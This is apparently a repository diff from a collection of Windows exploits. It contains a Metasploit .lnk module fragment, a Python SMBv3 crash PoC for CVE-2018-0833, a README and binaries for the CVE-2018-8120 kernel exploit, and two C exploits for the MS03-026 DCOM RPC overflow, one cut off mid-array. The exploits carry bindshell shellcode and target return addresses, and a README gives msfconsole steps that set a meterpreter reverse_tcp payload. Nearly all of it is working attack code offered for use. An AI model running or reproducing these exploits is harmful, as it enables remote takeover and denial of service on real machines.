0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
0x00, 0x00, 0x00, 0x00, # FileAttributes
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
0x00, 0x00, 0x00, 0x00, # FileSize
0x00, 0x00, 0x00, 0x00, # IconIndex
0x00, 0x00, 0x00, 0x00, # ShowCommand
0x00, 0x00, # HotKey
0x00, 0x00, # Reserved1
0x00, 0x00, 0x00, 0x00, # Reserved2
0x00, 0x00, 0x00, 0x00 # Reserved3
].pack('C*')
# IDList
idlist_data = ''
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
idlist_data << [
# This PC
0x1f, 0x50, 0xe0, 0x4f, 0xd0, 0x20, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xd8, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [0x12 + 2].pack('v') # ItemIDSize
idlist_data << [
# All Control Panel Items
0x2e, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
0x30, 0x9d
].pack('C*')
idlist_data << [cpl_applet.length + 2].pack('v')
idlist_data << cpl_applet
idlist_data << [0x00].pack('v') # TerminalID
# LinkTargetIDList
ret << [idlist_data.length].pack('v') # IDListSize
ret << idlist_data
# ExtraData
# SpecialFolderDataBlock
ret << [
0x10, 0x00, 0x00, 0x00, # BlockSize
0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
0x28, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList
].pack('C*')
# TerminalBlock
ret << [0x00, 0x00, 0x00, 0x00].pack('V')
ret
end
# Store the file in the MSF local directory (eg, /root/.msf4/local/)
def store_file(data, filename)
ltype = "exploit.fileformat.#{self.shortname}"
if ! ::File.directory?(Msf::Config.local_directory)
FileUtils.mkdir_p(Msf::Config.local_directory)
end
if filename and not filename.empty?
if filename =~ /(.*)\.(.*)/
ext = $2
fname = $1
else
fname = filename
end
else
fname = "local_#{Time.now.utc.to_i}"
end
fname = ::File.split(fname).last
fname.gsub!(/[^a-z0-9\.\_\-]+/i, '')
fname << ".#{ext}"
path = File.join("#{Msf::Config.local_directory}/", fname)
full_path = ::File.expand_path(path)
File.open(full_path, "wb") { |fd| fd.write(data) }
full_path.dup
end
end
97-Windows提权/CVE-2018-0833/README.md
+19
View File
@@ -0,0 +1,19 @@
# SMBv3 Null Pointer Dereference Denial of Service
## Description
A server information block (SMB) is a network file sharing protocol that allows applications and end users to access file resources from a remote file server. The crash occurred in the module "mrxsmb". This is a redirector of a Microsoft server message block (SMB). Windows 8.1 and Windows server 2012 R2 the vulnerability in Windows 8.1 (x86) on execution, send a carefully constructed data package, because it wants to address from the 0x00000030 memory read a protected (empty page protection) value, the value in the protected memory space will cause the kernel the exception handling, forcing the machine restart cause denial of service.
## Usage
```
root@xxoo:/# python poc.py
```
![exploit](https://raw.githubusercontent.com/iBearcat/CVE-2018-0833/master/exploit.gif)
## Vulnerability reference:
* [smbv3 null pointer dereference vulnerability](https://krbtgt.pw/smbv3-null-pointer-dereference-vulnerability)
* [CVE-2018-0833](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0833)
* [exploit-db](https://www.exploit-db.com/exploits/44189/)
* [cnvd](http://www.cnvd.org.cn/flaw/show/CNVD-2018-05738)
97-Windows提权/CVE-2018-0833/exploit.gif
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 654 KiB

97-Windows提权/CVE-2018-0833/poc.py
+22
View File
@@ -0,0 +1,22 @@
# Exploit Title: Microsoft Windows SMB Client Null Pointer Dereference Denial of Service
# Date: 26/02/2018
# Exploit Author: Nabeel Ahmed
# Version: SMBv3
# Tested on: Windows 8.1 (x86), Windows Server 2012 R2 (x64)
# CVE : CVE-2018-0833
import SocketServer
from binascii import unhexlify
payload = '000000ecfd534d4241414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141'
class byebye(SocketServer.BaseRequestHandler):
def handle(self):
try:
print "From:", self.client_address
print "[*]Sending Payload..."
self.request.send(unhexlify(payload))
except Exception:
print "BSoD Triggered on", self.client_address
pass
SocketServer.TCPServer.allow_reuse_address = 1
launch = SocketServer.TCPServer(('', 445),byebye)
launch.serve_forever()
97-Windows提权/CVE-2018-8120/1.jpg
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 11 KiB

97-Windows提权/CVE-2018-8120/2.jpg
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 21 KiB

97-Windows提权/CVE-2018-8120/README.md
+20
View File
@@ -0,0 +1,20 @@
# Privilege escalation
## Description
```
An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. To exploit this vulnerability, an attacker would first have to log on to the system. An attacker could then run a specially crafted application that could exploit the vulnerability and take control of an affected system. The update addresses this vulnerability by correcting how Win32k handles objects in memory. affects Microsoft Windows 7 SP1,Windows Server 2008 SP2,Windows Server 2008 R2 SP1.
```
## Usage
![exploit](https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2018-8120/1.jpg?raw=true)
### webshell
![exploit](https://github.com/SecWiki/windows-kernel-exploits/blob/master/CVE-2018-8120/2.jpg?raw=true)
## Vulnerability reference
* [CVE-2018-8120](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8120)
* [patch](https://portal.msrc.microsoft.com/en-US/eula)
97-Windows提权/CVE-2018-8120/x64.exe
BIN
View File
Binary file not shown.
97-Windows提权/CVE-2018-8120/x86.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS03-026/66.c
+350
View File
@@ -0,0 +1,350 @@
/*
DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code
Written by H D Moore <hdm [at] metasploit.com>
- Usage: ./dcom <Target ID> <Target IP>
- Targets:
- 0 Windows 2000 SP0 (english)
- 1 Windows 2000 SP1 (english)
- 2 Windows 2000 SP2 (english)
- 3 Windows 2000 SP3 (english)
- 4 Windows 2000 SP4 (english)
- 5 Windows XP SP0 (english)
- 6 Windows XP SP1 (english)
*/
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <fcntl.h>
#include <unistd.h>
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};
unsigned char request2[]={
0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x5C,0x00,0x5C,0x00};
unsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};
unsigned char *targets [] =
{
"Windows 2000 SP0 (english)",
"Windows 2000 SP1 (english)",
"Windows 2000 SP2 (english)",
"Windows 2000 SP3 (english)",
"Windows 2000 SP4 (english)",
"Windows XP SP0 (english)",
"Windows XP SP1 (english)",
NULL
};
unsigned long offsets [] =
{
0x77e81674,
0x77e829ec,
0x77e824b5,
0x77e8367a,
0x77f92a9b,
0x77e9afe3,
0x77e626ba,
};
unsigned char sc[]=
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
"\x46\x00\x58\x00\x46\x00\x58\x00"
"\xff\xff\xff\xff" /* return address */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
"\xcc\xe0\xfd\x7f" /* primary thread data block */
/* port 4444 bindshell */
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"
"\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"
"\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"
"\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"
"\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"
"\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"
"\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"
"\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"
"\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"
"\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"
"\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"
"\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"
"\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"
"\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"
"\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"
"\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"
"\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"
"\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"
"\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"
"\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"
"\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"
"\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"
"\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"
"\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"
"\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"
"\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"
"\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"
"\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"
"\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"
"\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"
"\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"
"\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04";
unsigned char request4[]={
0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
/* ripped from TESO code */
void shell (int sock)
{
int l;
char buf[512];
fd_set rfds;
while (1) {
FD_SET (0, &rfds);
FD_SET (sock, &rfds);
select (sock + 1, &rfds, NULL, NULL, NULL);
if (FD_ISSET (0, &rfds)) {
l = read (0, buf, sizeof (buf));
if (l <= 0) {
printf("\n - Connection closed by local user\n");
exit (EXIT_FAILURE);
}
write (sock, buf, l);
}
if (FD_ISSET (sock, &rfds)) {
l = read (sock, buf, sizeof (buf));
if (l == 0) {
printf ("\n - Connection closed by remote host.\n");
exit (EXIT_FAILURE);
} else if (l < 0) {
printf ("\n - Read failure\n");
exit (EXIT_FAILURE);
}
write (1, buf, l);
}
}
}
int main(int argc, char **argv)
{
int sock;
int len,len1;
unsigned int target_id;
unsigned long ret;
struct sockaddr_in target_ip;
unsigned short port = 135;
unsigned char buf1[0x1000];
unsigned char buf2[0x1000];
printf("---------------------------------------------------------\n");
printf("- Remote DCOM RPC Buffer Overflow Exploit\n");
printf("- Original code by FlashSky and Benjurry\n");
printf("- Rewritten by HDM <hdm [at] metasploit.com>\n");
if(argc<3)
{
printf("- Usage: %s <Target ID> <Target IP>\n", argv[0]);
printf("- Targets:\n");
for (len=0; targets[len] != NULL; len++)
{
printf("- %d\t%s\n", len, targets[len]);
}
printf("\n");
exit(1);
}
/* yeah, get over it :) */
target_id = atoi(argv[1]);
ret = offsets[target_id];
printf("- Using return address of 0x%.8x\n", ret);
memcpy(sc+36, (unsigned char *) &ret, 4);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(port);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket");
return(0);
}
if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
{
perror("- Connect");
return(0);
}
len=sizeof(sc);
memcpy(buf2,request1,sizeof(request1));
len1=sizeof(request1);
*(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2;
*(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2;
memcpy(buf2+len1,request2,sizeof(request2));
len1=len1+sizeof(request2);
memcpy(buf2+len1,sc,sizeof(sc));
len1=len1+sizeof(sc);
memcpy(buf2+len1,request3,sizeof(request3));
len1=len1+sizeof(request3);
memcpy(buf2+len1,request4,sizeof(request4));
len1=len1+sizeof(request4);
*(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;
*(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc;
if (send(sock,bindstr,sizeof(bindstr),0)== -1)
{
perror("- Send");
return(0);
}
len=recv(sock, buf1, 1000, 0);
if (send(sock,buf2,len1,0)== -1)
{
perror("- Send");
return(0);
}
close(sock);
sleep(1);
target_ip.sin_family = AF_INET;
target_ip.sin_addr.s_addr = inet_addr(argv[2]);
target_ip.sin_port = htons(4444);
if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)
{
perror("- Socket");
return(0);
}
if(connect(sock,(struct sockaddr *)&target_ip, sizeof(target_ip)) != 0)
{
printf("- Exploit appeared to have failed.\n");
return(0);
}
printf("- Dropping to System Shell...\n\n");
shell(sock);
return(0);
}
// milw0rm.com [2003-07-26]
97-Windows提权/MS03-026/MS03-026.exe
BIN
View File
Binary file not shown.
97-Windows提权/MS03-026/README.md
+22
View File
@@ -0,0 +1,22 @@
# MS03-026
MS03-026
Vulnerability reference:
* [MS03-026](https://technet.microsoft.com/library/security/ms03-026)
## msf Usage
* [YouTube-ms03 026](https://www.youtube.com/watch?v=OZwQo8kqdBM)
```
msf > search ms03_026
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set RHOST 192.168.229.129
msf exploit(ms03_026_dcom) > set LHOST 192.168.229.35
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms03_026_dcom) > exploit
meterpreter > execute -f cmd.exe -c -1
```
## References
[Microsoft Windows DCOM RPC接口长主机名远程缓冲区溢出漏洞](http://blog.chinaunix.net/uid-286494-id-2134482.html)
97-Windows提权/MS03-026/ms03-026.c
+291
View File
@@ -0,0 +1,291 @@
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>
#pragma comment(lib,"ws2_32")
unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};
unsigned char request1[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
